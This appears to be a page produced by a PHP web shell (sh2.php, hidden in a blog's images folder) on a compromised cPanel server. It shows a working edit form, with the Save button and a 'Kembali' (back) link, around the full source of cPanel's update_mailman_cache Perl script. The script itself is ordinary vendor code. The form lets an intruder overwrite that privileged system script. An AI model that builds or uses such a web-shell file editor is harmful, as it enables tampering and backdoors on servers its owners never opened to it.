<h2>Edit File - update_mailman_cache</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/update_mailman_cache">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/update_mailman_cache            Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::update_mailman_cache;

use strict;
use warnings;
use Cpanel::Config::LoadCpConf ();
use Cpanel::Config::Users      ();
use Cpanel::CachedDataStore    ();
use Cpanel::Mailman::Filesys   ();

use Cpanel::DatastoreDir        ();
use Cpanel::DatastoreDir::Init  ();
use Cpanel::UserDatastore       ();
use Cpanel::UserDatastore::Init ();

require Cpanel::Mailman::DiskUsage;
require Cpanel::Mailman::NameUtils;
require Cpanel::Config::FlushConfig;
require Cpanel::Config::LoadConfig;
require Cpanel::AcctUtils::DomainOwner::Tiny;
require Cpanel::PwCache;
require Cpanel::SafeFile;
require Cpanel::Finally;
require Cpanel::Timezones;

my $missing_info_mail_list = {};
my $MAILMAN_DISK_USAGE_REF = {};
my $MAILMAN_LIST_USAGE_REF = {};

my $message      = undef;
my $alert_status = undef;

exit( __PACKAGE__-&gt;run(@ARGV) ) unless caller();

sub run {    ## no critic qw(Subroutines::ProhibitExcessComplexity)
    my ( $self, @args ) = @_;

    # We call localtime quote a bit, lets make it a bit faster
    local $ENV{&#039;TZ&#039;} = Cpanel::Timezones::calculate_TZ_env();

    my $cpanel_conf  = Cpanel::Config::LoadCpConf::loadcpconf_not_copy();
    my $NEEDDISKUSED = exists $cpanel_conf-&gt;{&#039;disk_usage_include_mailman&#039;} ? $cpanel_conf-&gt;{&#039;disk_usage_include_mailman&#039;} : 1;

    if ( !$NEEDDISKUSED ) {
        clear_db_caches();
        return 0;
    }

    my $datastore_path          = Cpanel::DatastoreDir::Init::initialize();
    my $missing_info_yaml_file  = &quot;$datastore_path/mailman_missing_info_mail_list.yaml&quot;;
    my $mailman_list_usage_file = _mailman_list_usage_file();
    my $mailman_disk_usage_file = _mailman_disk_usage_file();
    my $progress_file           = &quot;$datastore_path/update_mailman_cache-in-progress&quot;;

    my ( $user_to_rebuild, $list_to_rebuild ) = @args;

    if ( $user_to_rebuild &amp;&amp; !Cpanel::PwCache::getpwnam_noshadow($user_to_rebuild) ) {
        die &quot;Usage: $0 &lt;user&gt; [&lt;list&gt;]\n&quot;;
    }

    my $mmlock = Cpanel::SafeFile::safeopen( my $fh, &#039;&gt;&#039;, $progress_file );
    if ( !$mmlock ) {
        warn &quot;Could not get a lock on &#039;$progress_file&#039;: $!\n&quot;;
        return 1;
    }

    my $finally = Cpanel::Finally-&gt;new( sub { unlink($progress_file); Cpanel::SafeFile::safeclose( $fh, $mmlock ); } );

    $missing_info_mail_list = Cpanel::CachedDataStore::fetch_ref($missing_info_yaml_file);
    $MAILMAN_LIST_USAGE_REF = Cpanel::CachedDataStore::fetch_ref($mailman_list_usage_file);

    Cpanel::AcctUtils::DomainOwner::Tiny::build_domain_cache();
    if ($user_to_rebuild) {

        # load disk usage for all other users
        $MAILMAN_DISK_USAGE_REF = Cpanel::Config::LoadConfig::loadConfig( $mailman_disk_usage_file, undef, &#039;:\s+&#039; );

        # reset disk usage for current user ( will be computed later )
        #   need to be deleted from hash as we do not want to save 0 in disk-usage
        delete $MAILMAN_DISK_USAGE_REF-&gt;{$user_to_rebuild};
    }

    my %SEEN_LISTS;
    if ( opendir( my $list_dir_dh, Cpanel::Mailman::Filesys::MAILING_LISTS_DIR() ) ) {
        my $listuser;
        while ( my $list = readdir($list_dir_dh) ) {
            next if index( $list, &#039;.&#039; ) == 0;
            $SEEN_LISTS{$list} = 1;
            if ( index( $list, &#039;_&#039; ) != -1 ) {
                ## takes advantage of the first .* being greedy; e.g. my_list_name_domain.com
                ##   will appropriately split my_list_name and domain.com
                my ( $listname, $listdomain ) = Cpanel::Mailman::NameUtils::parse_name($list);
                $listuser = Cpanel::AcctUtils::DomainOwner::Tiny::getdomainowner( $listdomain, { &#039;default&#039; =&gt; &#039;&#039; } );
            }
            else {
                $listuser = &#039;&#039;;
            }
            if ( !$listuser ) {
                $listuser = &#039;root&#039; if $list eq &#039;mailman&#039;;
            }

            if ( !$listuser ) {

                # When detecting no listuser, only provide warning message once on the first time
                # (The mailing list without the listuser info is added to the yaml file
                # to prevent redundant notification on subsequent runs.)
                $alert_status = &#039;provided message&#039;;
                if ( !( exists( $missing_info_mail_list-&gt;{$list} ) &amp;&amp; $missing_info_mail_list-&gt;{$list}-&gt;{&#039;alert_status&#039;} eq $alert_status ) ) {
                    $message = &quot;Could not determine the list owner for mailman mailing list \&quot;$list\&quot;&quot;;
                    _warn_about_list_owner($message);
                    $missing_info_mail_list-&gt;{$list}-&gt;{&#039;alert_status&#039;} = $alert_status;
                    $missing_info_mail_list-&gt;{$list}-&gt;{&#039;message&#039;}      = $message;
                }

                next;
            }

            # skip other users ( usage comes from previous file ) when a user is defined
            if ( $user_to_rebuild &amp;&amp; $listuser ne $user_to_rebuild ) { next; }

            my $disk_used;

            if ( exists $MAILMAN_LIST_USAGE_REF-&gt;{$listuser}{$list} &amp;&amp; ( $list_to_rebuild &amp;&amp; $list ne $list_to_rebuild ) ) {

                # Use previous value if we are only rebuilding a specific list
                $disk_used = $MAILMAN_LIST_USAGE_REF-&gt;{$listuser}{$list};
            }
            else {
                $disk_used = Cpanel::Mailman::DiskUsage::get_mailman_archive_dir_disk_usage($list) + Cpanel::Mailman::DiskUsage::get_mailman_archive_dir_mbox_disk_usage($list) + Cpanel::Mailman::DiskUsage::get_mailman_list_dir_disk_usage($list);
                $MAILMAN_LIST_USAGE_REF-&gt;{$listuser}{$list} = $disk_used;
            }
            $MAILMAN_DISK_USAGE_REF-&gt;{$listuser} += $disk_used;
        }

        if ( !Cpanel::CachedDataStore::store_ref( $missing_info_yaml_file, $missing_info_mail_list, { mode =&gt; 0600 } ) ) {
            warn &quot;Error: Unable to save yaml file \&quot;$missing_info_yaml_file\&quot;. \n&quot;;
        }

    }

    foreach my $user ( $user_to_rebuild ? ($user_to_rebuild) : Cpanel::Config::Users::getcpusers() ) {
        my $user_datastore_path = Cpanel::UserDatastore::Init::initialize($user);

        if ( my @deleted_lists = map { !$SEEN_LISTS{$_} } keys %{ $MAILMAN_LIST_USAGE_REF-&gt;{$user} } ) {
            delete @SEEN_LISTS{@deleted_lists};
        }
        if ( !exists $MAILMAN_LIST_USAGE_REF-&gt;{$user} || !scalar keys %{ $MAILMAN_LIST_USAGE_REF-&gt;{$user} } ) {
            delete $MAILMAN_LIST_USAGE_REF-&gt;{$user};
            unlink $user_datastore_path . &#039;/mailman-disk-usage&#039;, $user_datastore_path . &#039;/mailman-list-usage&#039;;
            next;
        }

        if ( open( my $disk_usage_fh, &#039;&gt;&#039;, $user_datastore_path . &#039;/mailman-disk-usage&#039; ) ) {
            print {$disk_usage_fh} int( $MAILMAN_DISK_USAGE_REF-&gt;{$user} || 0 );
            close($disk_usage_fh);
        }
        Cpanel::Config::FlushConfig::flushConfig( $user_datastore_path . &#039;/mailman-list-usage&#039;, $MAILMAN_LIST_USAGE_REF-&gt;{$user}, &#039;: &#039;, undef, { perms =&gt; 0644 } );
    }

    my $umask = umask(0027);
    Cpanel::Config::FlushConfig::flushConfig( $mailman_disk_usage_file, $MAILMAN_DISK_USAGE_REF, &#039;: &#039;, undef, { perms =&gt; 0600 } );
    Cpanel::CachedDataStore::store_ref( $mailman_list_usage_file, $MAILMAN_LIST_USAGE_REF, { mode =&gt; 0600 } );
    umask($umask);

    return 0;
}

sub _mailman_list_usage_file {
    my $datastore_path = Cpanel::DatastoreDir::PATH();
    return &quot;$datastore_path/mailman-list-usage.yaml&quot;;
}

sub _mailman_disk_usage_file {
    my $datastore_path = Cpanel::DatastoreDir::PATH();
    return &quot;$datastore_path/mailman-disk-usage&quot;;
}

sub clear_db_caches {
    my $datastore_path = Cpanel::DatastoreDir::PATH();

    return if !-d $datastore_path;

    foreach my $db ( _mailman_list_usage_file(), _mailman_disk_usage_file() ) {
        unlink($db) if -e $db;
    }

    foreach my $user ( Cpanel::Config::Users::getcpusers() ) {
        my $user_datastore_path = Cpanel::UserDatastore::get_path($user);
        unlink grep { -e $_ } map { $user_datastore_path . &#039;/&#039; . $_ } ( &#039;mailman-list-usage&#039;, &#039;mailman-disk-usage&#039; );
        rmdir $user_datastore_path;    # This should be safe, rmdir will fail if anything is left in the directory
    }

    return;
}

# stubbed out in tests to avoid spurious warnings
sub _warn_about_list_owner {
    my ($message) = @_;
    warn $message;
    return;
}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>